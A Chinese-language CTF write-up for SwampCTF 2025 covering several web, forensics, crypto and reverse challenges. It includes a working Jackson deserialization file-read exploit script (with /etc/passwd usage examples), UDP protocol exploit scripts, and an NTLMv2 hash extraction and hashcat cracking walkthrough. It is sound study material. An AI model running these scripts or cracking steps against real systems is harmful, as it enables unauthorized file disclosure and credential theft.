SwampCTF2025 by Pwn13ss Web Serialies
Jackson的配置 (JacksonConfig.java)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @Configuration public class JacksonConfig { @Bean public ObjectMapper objectMapper () { ObjectMapper objectMapper = new ObjectMapper (); PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder() .allowIfSubType("com.serialies.serialies.Person" ) .allowIfSubType("com.serialies.serialies.Address" ) .allowIfSubType("com.serialies.serialies.Job" ) .build(); objectMapper.activateDefaultTyping(ptv, ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY); return objectMapper; } }
这段代码配置了Jackson如何处理多态类型:
activateDefaultTyping
允许通过JSON指定具体类型
虽然使用了PolymorphicTypeValidator
进行白名单限制,但允许了三个关键类
漏洞点:Job类的文件读取功能 (Job.java)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class Job { private String title; private String company; private double salary; private String resume; private String resumeURI; public void init () throws IOException { if (resumeURI != null ) { URI fileUri = URI.create(resumeURI); this .resume = new String (Files.readAllBytes(Paths.get(fileUri))); } } }
关键漏洞在init()
方法中:
通过URI.create(resumeURI)
创建URI对象
使用Files.readAllBytes(Paths.get(fileUri))
读取文件内容
没有任何路径验证或限制,可以读取任意文件
触发点:PersonController (PersonController.java)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @RestController @RequestMapping("/api/person") public class PersonController { private List<Person> persons = new ArrayList <>(); @PostMapping public String createPerson (@RequestBody Person person) { if (person.getAddress() == null ) { throw new IllegalArgumentException ("Address is required" ); } if (person.getJob() != null ) { try { person.getJob().init(); } catch (IOException e) { throw new RuntimeException ("Error" , e); } } persons.add(person); return "Person has been created with ID: " + person.getId(); } @GetMapping public List<Person> getAllPersons () { return persons; } }
这里是漏洞链的触发点:
@RequestBody Person person
自动反序列化请求体为Person对象
检查Address是否存在,所以攻击需提供Address对象
关键点:调用person.getJob().init()
,执行文件读取功能
Person和Address类 (基础结构)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class Person { private UUID id; private String name; private int age; private Address address; private Job job; } public class Address { private String street; private String city; private String state; private String zipCode; }
完整攻击链分析
请求处理流程 :
向/api/person
发送POST请求,包含特定结构的JSON
Spring框架调用Jackson解析JSON为Java对象
根据@class
属性确定具体类型,构造对象的完整类层次结构
将JSON属性值映射到Java对象属性
漏洞利用触发 :
PersonController.createPerson()
接收反序列化后的Person对象
验证Address存在
执行person.getJob().init()
Job对象的init()方法读取resumeURI
指定的文件(如file:///flag
)
数据获取 :
文件内容被存储在Job对象的resume属性中
Controller将Person对象保存在内存列表中
通过GET请求/api/person
可以获取所有Person对象,包括flag内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /api/person HTTP/1.1 Host: chals.swampctf.com:44444 Content-Type: application/json Accept: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0 { "@class" : "com.serialies.serialies.Person" , "name" : "test" , "age" : 25, "address" : { "@class" : "com.serialies.serialies.Address" , "street" : "test" , "city" : "test" , "state" : "test" , "zipCode" : "test" }, "job" : { "@class" : "com.serialies.serialies.Job" , "title" : "Hacker" , "company" : "CTF" , "salary" : 0, "resumeURI" : "file:///flag.txt" } }
再去访问这个路由
http://chals.swampctf.com:44444/api/person
下面是完整的Python漏洞利用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 import requestsimport jsonimport sysTARGET_URL = "http://localhost:9090" def exploit (target_file="/flag" ): """ 利用Jackson反序列化漏洞读取目标文件内容 参数: target_file: 要读取的文件路径,默认为/flag """ print (f"[*] 目标: {TARGET_URL} " ) print (f"[*] 尝试读取文件: {target_file} " ) payload = { "@class" : "com.serialies.serialies.Person" , "name" : "hacker" , "age" : 25 , "address" : { "@class" : "com.serialies.serialies.Address" , "street" : "Hack Street" , "city" : "Exploit City" , "state" : "Payload State" , "zipCode" : "31337" }, "job" : { "@class" : "com.serialies.serialies.Job" , "title" : "Security Researcher" , "company" : "CTF Team" , "salary" : 1337.0 , "resumeURI" : f"file://{target_file} " } } headers = { "Content-Type" : "application/json" } try : print ("[*] 发送漏洞利用请求..." ) response = requests.post( f"{TARGET_URL} /api/person" , data=json.dumps(payload), headers=headers ) if response.status_code != 200 : print (f"[!] 请求失败: {response.status_code} - {response.text} " ) return False print (f"[+] 成功创建Person对象: {response.text} " ) print ("[*] 获取Person对象列表..." ) response = requests.get(f"{TARGET_URL} /api/person" ) if response.status_code != 200 : print (f"[!] 获取失败: {response.status_code} " ) return False persons = response.json() if not persons: print ("[!] 没有找到任何Person对象" ) return False latest_person = persons[-1 ] if "job" in latest_person and "resume" in latest_person["job" ]: flag_content = latest_person["job" ]["resume" ] print ("\n[+] 找到文件内容:" ) print ("-" * 40 ) print (flag_content) print ("-" * 40 ) return True else : print ("[!] Person对象中没有包含文件内容" ) print (json.dumps(latest_person, indent=2 )) return False except Exception as e: print (f"[!] 发生错误: {str (e)} " ) return False if __name__ == "__main__" : target_file = sys.argv[1 ] if len (sys.argv) > 1 else "/flag" if len (sys.argv) > 2 : TARGET_URL = sys.argv[2 ] exploit(target_file)
使用方法:
1 2 3 4 5 6 7 8 python3 exploit.py python3 exploit.py /etc/passwd python3 exploit.py /flag.txt http://challenge.example.com:9090
Forensic Homeword Help
I accidently lost some of my class notes! Can you help me recover it? (Note: Unzipped size is 4GB)
FTK挂载,发现一个word文档
打开文档,发现flag
swampCTF{n0thing_i5_3v3r_d3l3t3d}
Preferential Treatment
We have an old Windows Server 2008 instance that we lost the password for. Can you see if you can find one in this packet capture?
swampCTF{4v3r463_w1nd0w5_53cur17y}
Planetary Storage
My friend found this strange file while perusing his computer, but we can’t read it. Can you figure out what it is and get the information from it?
Difficulty: Easy/Medium
The flag is in the standard format.
附件给了ldb文件
用LevelDBDumper解ldb包
.\LevelDBDumper.exe -d "D:\ctf\SwampCTF2025\Forensics\PlanetaryStorage\challenge" -o "D:\ctf\SwampCTF2025\Forensics\PlanetaryStorage\output" -f "db.txt" -t "csv" -q
-d
或 --dir
:指定包含 .ldb
文件的目录。这是必需的参数。
-o
或 --outputDir
:指定输出文件的目录。
-f
或 --outputFile
:指定输出文件的文件名。
-t
或 --outputType
:指定输出格式,可以是 csv
或 json
。
-q
或 --quiet
:静默模式,不将键值对输出到控制台。
-b
或 --batch
:将所有输出文件合并为一个文件。
-c
或 --clean-output
:清理输出文件中的非可视字符。
-z
或 --timezone
:指定时区,默认为 UTC。
提取到内容:
1 2 3 Key,Value /_localHeads,"[{""payload"":""eyJrZXkiOiJcIjMzNTc5M2Q1LTRhYzEtNDgyMy05MmM3LWZkM2I1YTZhMmEwN1wiIiwib3AiOiJQVVQiLCJ2YWx1ZSI6ImV5SmtZWFJoSWpwYkluTjNZVzF3UTFSR2V6RndaalV0WWpRMU0yUXRaRFEzTkdJME5UTjlJbDBzSW1sa0lqb2lYQ0l6TXpVM09UTmtOUzAwWVdNeExUUTRNak10T1RKak55MW1aRE5pTldFMllUSmhNRGRjSWlKOSJ9"",""id"":""/orbitdb/bafyreiejrtaennxufa3wvkdvyoj6ywq6nid3lukdqcnx2fc33tckzjzbke/ctf"",""next"":[{""/"":""bafyreibbadm2ajrr6io6ufqidibrpdjfpdyfobp2aqvmcprqu5yrk7mq6q""}],""refs"":[{""/"":""bafyreiesvykh6wt7hn4fry4mphv6ckxr5wq3c2fecvcjbqs4scbkizc6jm""},{""/"":""bafyreihq7osywkglsjxn5lmbegtc7izqmb66atx5trkrpcmlvtcyrr6nuy""},{""/"":""bafyreiab6do7qxgjipiypoj754vicpuscejf43eguvo2ykb2igoyrtkl64""}],""v"":2,""key"":""BJx/DXfZOVG6YkoHDGQvNQVMBaoeaEdEvcKFJP0PM1m3h9/o8lJgnTQkqGCAKovuOCovsDHQ5JOVs7qpJm3V8Ks="",""sig"":""MEQCIF5FwOBiQKgEI7njg6He6iAlwNc+Gj8+PAll5o1PCGhKAiBlnXg9+hinX6AGB2r0uXoJ3q9Tbe6azh9euPx40G8uqw=="",""identity"":{""id"":""02020192715ea41d7eaaceb4bd19516d0d4f1e8a2e81903480083dbdbe99dfefc9"",""publicKey"":""BJx/DXfZOVG6YkoHDGQvNQVMBaoeaEdEvcKFJP0PM1m3h9/o8lJgnTQkqGCAKovuOCovsDHQ5JOVs7qpJm3V8Ks="",""signatures"":{""id"":""MEQCIGx+GRqmTfPqcUL28aG2p1Q2TNEfZ9QlCgB8WU4my68UAiBZClP9WMe385COJ0WuNnXRj7BIolRC2v6vhLqUt3Yk/w=="",""publicKey"":""MEQCIFC+7AikjMLabNvdHiHh7rwrFTbystu6xc2r1h/1Zr4jAiBFxjxIMNjfI5J996HDYEQd+fnaKDi5GlNw5hgl+RwEOg==""},""type"":""orbitdb"",""Provider"":null},""hash"":{""/"":""bafyreihq6d33ifjj6jbmjptygyksgwzcrjm5kxarbbp6djbzqx2exij27u""},""clock"":{""id"":""BJx/DXfZOVG6YkoHDGQvNQVMBaoeaEdEvcKFJP0PM1m3h9/o8lJgnTQkqGCAKovuOCovsDHQ5JOVs7qpJm3V8Ks="",""time"":7}}]"
payload部分base64解码
swampCTF{1pf5-b453d-d474b453}
MuddyWater
We caught a threat actor, called MuddyWater, bruteforcing a login for our Domain Controller. We have a packet capture of the intrustion. Can you figure out which account they logged in to and what the password is?
Flag format is swampCTF{<username>:<password>}
筛选SMB2,找到验证通过时的数据包
寻找报文的上下关系
ntlmssp_auto下找到NTProofstr和NTLMv2 Response(NTLMv2 Response开头包含了NTProofstr的值,需要去掉)
同时找到domain和user name
ntlmssp_challenge下找到NTLM Server Challenge的值
username::domain:ntlmv2_response.chall:ntproofstr:不包含ntproofstr的ntlmv2_response值
1 2 ### smb2.txt hackbackzip::DESKTOP-0TNOE4V:d102444d56e078f4:eb1b0afc1eef819c1dccd514c9623201:01010000000000006f233d3d9f9edb01755959535466696d0000000002001e004400450053004b0054004f0050002d00300054004e004f0045003400560001001e004400450053004b0054004f0050002d00300054004e004f0045003400560004001e004400450053004b0054004f0050002d00300054004e004f0045003400560003001e004400450053004b0054004f0050002d00300054004e004f00450034005600070008006f233d3d9f9edb010900280063006900660073002f004400450053004b0054004f0050002d00300054004e004f004500340056000000000000000000
hashcat爆破
1 2 3 34405@Warmlight D:\....\hashcat-6.2.6 .\hashcat.exe -m 5600 .\smb2.txt .\passphrases.txt --show HACKBACKZIP::DESKTOP-0TNOE4V:d102444d56e078f4:eb1b0afc1eef819c1dccd514c9623201:01010000000000006f233d3d9f9edb01755959535466696d0000000002001e004400450053004b0054004f0050002d00300054004e004f0045003400560001001e004400450053004b0054004f0050002d00300054004e004f0045003400560004001e004400450053004b0054004f0050002d00300054004e004f0045003400560003001e004400450053004b0054004f0050002d00300054004e004f00450034005600070008006f233d3d9f9edb010900280063006900660073002f004400450053004b0054004f0050002d00300054004e004f004500340056000000000000000000:pikeplace 34405@Warmlight D:\....\hashcat-6.2.6
Proto Proto
Moto Moto likes you. But not enough to explain how his server works. We got a pcap of the client and server communicating. Can you figure out how the server works and retrieve the flag?
chals.swampctf.com:44254
给的url无法访问
筛选UDP流量,发现flag字符(假的)
追踪UDP流,通信过程未进行加密,客户端先请求读取flag,然后服务端进行数据响应,我们可通过UDP服务请求先服务端来读取flag
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import socketserver = "chals.swampctf.com" port = 44254 payload = b"\x02\x08\x66\x6c\x61\x67\x2e\x74\x78\x74" s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(payload, (server, port)) response, addr = s.recvfrom(4096 ) print ("HEX response:" , response.hex ())print ("Decoded response:" , response.decode(errors='ignore' ))s.close()
swampCTF{r3v3r53_my_pr070_l1k3_m070_m070}
Proto Proto 2
Moto Moto heard you were able to reverse his server code, so he set up some “encryption”. Can you figure out the key and retrieve the flag?
chals.swampctf.com:44255
跟上一题一样的思路,首先筛选UDP流并追踪
可以看到客户端请求内容为:super_secret_password.flag.txt
,这里查看flag文件需要传入一个password,
分析报文格式
传输的数据格式如下:
1 2 3 4 5 6 key = b"" payload = b"\x02" payload += len (key).to_bytes(1 , byteorder='big' ) payload += key payload += len (b"flag.txt" ).to_bytes(1 , byteorder='big' ) payload += b"flag.txt"
根据题目信息,key设置为encryption
,输出了flag的尾部
1 2 HEX response: 077f4666705641454e785c3037305f6d3037305f35384832425e32635732045f345f6e305f6e307d0a Decoded response: FfpVAENx\070_m070_58H2B^2cW2_4_n0_n0}
key为swampCTF{y0u_kn0w_b3773r_7h4n_7h47}
时,输出
1 2 3 4 HEX response: 07695f646f5f7265616c4b652c0c467a70340652686a11624278757f0a33350d32082b345c6d387f14 Decoded response: i_do_realKe, Fzp4RhjbBxu +4\m8
注意到i_do_real
部分
再将i_do_real
作为key输入为
1 2 3 HEX response: 077377616d704354467b5b0a3d3c7266252235590439490e4242237b57020e55054e7928437306760b Decoded response: swampCTF{[ =<rf%"5Y9IBB#{WUNy(Csv
此时看到了flag的头部,大致可以猜测这是一个对称加密,加密秘钥为i_do_real_encryption
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import socketkey = b"i_do_real_encryption" payload = b"\x02" payload += len (key).to_bytes(1 , byteorder='big' ) payload += key payload += b"\x08\x66\x6c\x61\x67\x2e\x74\x78\x74" server = 'chals.swampctf.com' port = 44255 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(payload, (server, port)) response, addr = s.recvfrom(4096 ) print ("HEX response:" , response.hex ())print ("Decoded response:" , response.decode(errors='ignore' ))s.close()
swampCTF{m070_m070_54y5_x0r_15_4_n0_n0}
Crypto Rock my Password
Rock my Password—150 I’ve come up with an extremely secure(tm) way to store my password, noone will be able to reverse it! I’ve hashed it with md5 100 times, then sha256 100 times, then sha512 100 times! There’s no way you’re going to be able to undo it >:3 I’ll even tell you it was in the RockYou database, and the password is 10 characters long, that’s how confident I am!
The flag is in the format: swampCTF{RockYouPassword}
As a reminder, please don’t flood our infrastructure with guesses.
Hashed Password (Flag): f600d59a5cdd245a45297079299f2fcd811a8c5461d979f09b73d21b11fbb4f899389e588745c6a9af13749eebbdc2e72336cc57ccf90953e6f9096996a58dcc
Note: The entire flag (swampCTF{rockyoupassword}) was hashed to get the provided hash, not just rockyoupassword
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import hashlibdef apply_hash_n_times (data, hash_func, n ): for _ in range (n): data = hash_func(data).digest() return data def main (): target_hash = "f600d59a5cdd245a45297079299f2fcd811a8c5461d979f09b73d21b11fbb4f899389e588745c6a9af13749eebbdc2e72336cc57ccf90953e6f9096996a58dcc" with open ('rockyou.txt' , 'r' , encoding='latin-1' ) as f: for line in f: password = line.strip() if len (password) == 10 : flag = f"swampCTF{{{password} }}" .encode('utf-8' ) md5_hash = flag for _ in range (100 ): md5_hash = hashlib.md5(md5_hash).digest() sha256_hash = md5_hash for _ in range (100 ): sha256_hash = hashlib.sha256(sha256_hash).digest() sha512_hash = sha256_hash for _ in range (100 ): sha512_hash = hashlib.sha512(sha512_hash).digest() if sha512_hash.hex () == target_hash: print (f"Found password: {password} " ) print (f"Flag: swampCTF{{{password} }}" ) return print ("Password not found in rockyou.txt" ) if __name__ == "__main__" : main()
swampCTF{secretcode}
rev You Shall Not Passss main()函数,前面都是在写字符串,动调直接跳过去,从sub_580F548E67E0()进去
sub_580F548E67E0()
动调之后,中间数据都转换成代码
转换过后可以看到加密验证的逻辑
解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def decrypt_data (cipher, a ): flag = [] tmp = a for byte in cipher: tmp = (330 * tmp + 100 ) % 0x8FF original_byte = byte ^ (tmp & 0xFF ) flag.append(original_byte) return flag cipher = [0xDD , 0x9A , 0xDE , 0x4E , 0x69 , 0xE1 , 0xE9 , 0x2C , 0xD2 , 0x4E , 0xEC , 0xE7 , 0x18 , 0x26 , 0x6A , 0x56 , 0x79 , 0xD8 , 0xA3 , 0x55 , 0x72 , 0xBC , 0x76 , 0xC4 , 0x0C , 0x0F , 0x9B , 0xBE , 0xC6 , 0x81 , 0xE2 , 0x41 , 0x47 , 0xA0 , 0xF4 , 0x26 ] a = 1 flag = decrypt_data(cipher, a) decrypted_text = '' .join(chr (byte) for byte in flag) print ("flag:" , decrypted_text)
swampCTF{531F_L0AD1NG_T0TALLY_RUL3Z}
这两道没做出来,给自己埋个坑,后面再补
Midi Melody
Midi is where the magic happens
Wamp Audio
I started recording my flags using a new codec I made called Wamp. However, I lost the decoder! Can you help?